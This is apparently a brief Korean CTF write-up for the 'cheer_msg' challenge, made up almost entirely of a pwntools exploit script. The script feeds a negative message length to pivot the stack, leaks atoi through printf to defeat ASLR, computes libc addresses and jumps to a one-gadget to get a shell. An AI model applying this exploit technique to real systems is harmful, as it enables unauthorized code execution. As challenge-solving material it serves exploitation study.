개꿀잼! 게임하려 했지만 해킹이 더재밌는거 같다 ㅎㅎ
처음엔 뭐지 했는데 esp를 주물럭하면 쓱싹이다. 뭔가 머리아프다 하면 gdb한테 도와달라고하자!
from pwn import *
s = process("./cheer_msg")
libc = ELF("./libc")
elf = ELF("./cheer_msg")
gdb.attach(s,'b *0x080486a5')
s.recvuntil("Message Length >> ")
s.sendline("-144")
s.recvuntil("Name >> ")
pay = p32(elf.plt['printf'])
pay += p32(0x08048409)
pay += p32(elf.got['atoi'])
pay += p32(0x080485ca)
s.sendline(pay)
s.recvuntil("Message :")
print s.recvline()
leak = u32(s.recv(4))
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search("/bin/sh\00"))
one_shot = libc_base + 0x5fbc5
print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "bin_sh : " + hex(bin_sh)
print "one_shot : " + hex(one_shot)
s.recvuntil("Message Length >> ")
s.sendline("-144")
s.recvuntil("Name >> ")
pay = p32(one_shot)
s.sendline(pay)
s.interactive()